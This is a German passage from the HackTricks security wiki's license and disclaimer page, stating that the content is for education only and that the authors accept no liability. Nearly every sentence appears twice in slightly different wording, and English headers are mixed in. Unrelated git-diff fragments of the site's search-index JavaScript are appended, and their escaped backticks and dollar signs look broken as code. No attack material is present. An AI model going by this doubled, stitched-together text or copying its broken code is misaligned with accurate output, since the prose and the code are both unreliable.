- Authorship: Die ursprünglich von HackTricks verfassten Inhalte unterliegen den Bedingungen dieser Lizenz. Du wirst ermutigt, dieses Werk beim Teilen oder Anpassen dem Autor zuzuschreiben.
#### Exemptions:
#### Ausnahmen:
- Kommerzielle Nutzung: Für Anfragen zur kommerziellen Nutzung dieses Inhalts, bitte kontaktiere mich.
- Commercial Use: Für Anfragen zur kommerziellen Nutzung dieses Inhalts kontaktiere mich bitte.
Diese Lizenz gewährt keine Marken- oder Branding-Rechte in Bezug auf die Inhalte. Alle in diesem Blog/Buch gezeigten Marken und Brandings sind Eigentum ihrer jeweiligen Inhaber.
Diese Lizenz gewährt keine Marken- oder Branding-Rechte in Bezug auf die Inhalte. Alle Marken und Branding, die in diesem Blog/Buch erscheinen, sind Eigentum ihrer jeweiligen Inhaber.
**Durch den Zugriff auf oder die Nutzung von HackTricks erklärst du dich mit den Bedingungen dieser Lizenz einverstanden. Falls du diesen Bedingungen nicht zustimmst, bitte greife nicht auf diese Website zu.**
**Durch den Zugriff auf oder die Nutzung von HackTricks erklärst du dich damit einverstanden, die Bedingungen dieser Lizenz einzuhalten. Wenn du diesen Bedingungen nicht zustimmst, greife bitte nicht auf diese Website zu.**
## **Disclaimer**
## **Haftungsausschluss**
> [!CAUTION]
> Dieses Buch, 'HackTricks,' dient ausschließlich Bildungs- und Informationszwecken. Die Inhalte dieses Buches werden auf einer "wie besehen"-Basis bereitgestellt, und die Autoren und Herausgeber geben keine Zusicherungen oder Gewährleistungen jeglicher Art, weder ausdrücklich noch stillschweigend, bezüglich der Vollständigkeit, Genauigkeit, Zuverlässigkeit, Eignung oder Verfügbarkeit der in diesem Buch enthaltenen Informationen, Produkte, Dienstleistungen oder zugehörigen Grafiken. Jegliches Vertrauen, das du in solche Informationen setzt, erfolgt daher strikt auf eigenes Risiko.
> Dieses Buch „HackTricks“ dient ausschließlich Bildungs- und Informationszwecken. Die Inhalte dieses Buches werden „wie besehen“ bereitgestellt, und die Autoren und Herausgeber machen keinerlei ausdrückliche oder stillschweigende Zusicherungen oder Gewährleistungen irgendeiner Art hinsichtlich der Vollständigkeit, Genauigkeit, Zuverlässigkeit, Eignung oder Verfügbarkeit der in diesem Buch enthaltenen Informationen, Produkte, Dienstleistungen oder zugehörigen Grafiken. Jegliches Vertrauen, das du in solche Informationen setzt, erfolgt daher ausschließlich auf eigenes Risiko.
>
> Die Autoren und Herausgeber haften in keinem Fall für Verluste oder Schäden, einschließlich, jedoch nicht beschränkt auf indirekte oder Folgeschäden oder jegliche Verluste oder Schäden, die aus Datenverlust oder entgangenen Gewinnen entstehen und im Zusammenhang mit der Nutzung dieses Buches stehen.
> Die Autoren und Herausgeber haften in keinem Fall für Verluste oder Schäden, einschließlich, aber nicht beschränkt auf indirekte oder Folgeschäden, oder für jegliche Verluste oder Schäden, die aus dem Verlust von Daten oder Gewinnen entstehen und im Zusammenhang mit der Nutzung dieses Buches stehen.
>
> Darüber hinaus werden die in diesem Buch beschriebenen Techniken und Tipps ausschließlich zu Bildungs- und Informationszwecken bereitgestellt und sollten nicht für illegale oder bösartige Aktivitäten verwendet werden. Die Autoren und Herausgeber billigen oder unterstützen keinerlei illegale oder unethische Aktivitäten, und jede Nutzung der in diesem Buch enthaltenen Informationen erfolgt auf eigenes Risiko und eigene Verantwortung des Nutzers.
> Darüber hinaus werden die in diesem Buch beschriebenen Techniken und Tipps nur zu Bildungs- und Informationszwecken bereitgestellt und dürfen nicht für illegale oder böswillige Aktivitäten verwendet werden. Die Autoren und Herausgeber billigen oder unterstützen keine illegalen oder unethischen Aktivitäten, und jede Nutzung der in diesem Buch enthaltenen Informationen erfolgt auf eigenes Risiko und nach eigenem Ermessen des Nutzers.
>
> Der Nutzer ist allein verantwortlich für alle Handlungen, die auf Grundlage der in diesem Buch enthaltenen Informationen unternommen werden, und sollte stets fachlichen Rat und Unterstützung einholen, wenn er versucht, eine der hier beschriebenen Techniken oder Tipps umzusetzen.
> Der Nutzer ist allein verantwortlich für alle Handlungen, die auf Basis der in diesem Buch enthaltenen Informationen vorgenommen werden, und sollte stets professionellen Rat und Unterstützung einholen, wenn er versucht, eine der hier beschriebenen Techniken oder Tipps umzusetzen.
>
> Durch die Nutzung dieses Buches erklärt sich der Nutzer damit einverstanden, die Autoren und Herausgeber von jeglicher Haftung und Verantwortung für Schäden, Verluste oder Beeinträchtigungen freizustellen, die sich aus der Nutzung dieses Buches oder der darin enthaltenen Informationen ergeben können.
> Durch die Nutzung dieses Buches erklärt sich der Nutzer damit einverstanden, die Autoren und Herausgeber von jeglicher Haftung und Verantwortung für Schäden, Verluste oder Verletzungen, die aus der Nutzung dieses Buches oder der darin enthaltenen Informationen resultieren können, freizustellen.
{{#include ../banners/hacktricks-training.md}}

View File

@ -491,3 +491,4 @@
handle.addEventListener("touchstart", onStart, { passive: false });
}
})();

View File

@ -68,11 +68,11 @@
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
const indices = [];
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
@ -208,3 +208,4 @@
listOut.classList.toggle('hidden',!docs.length);
};
})();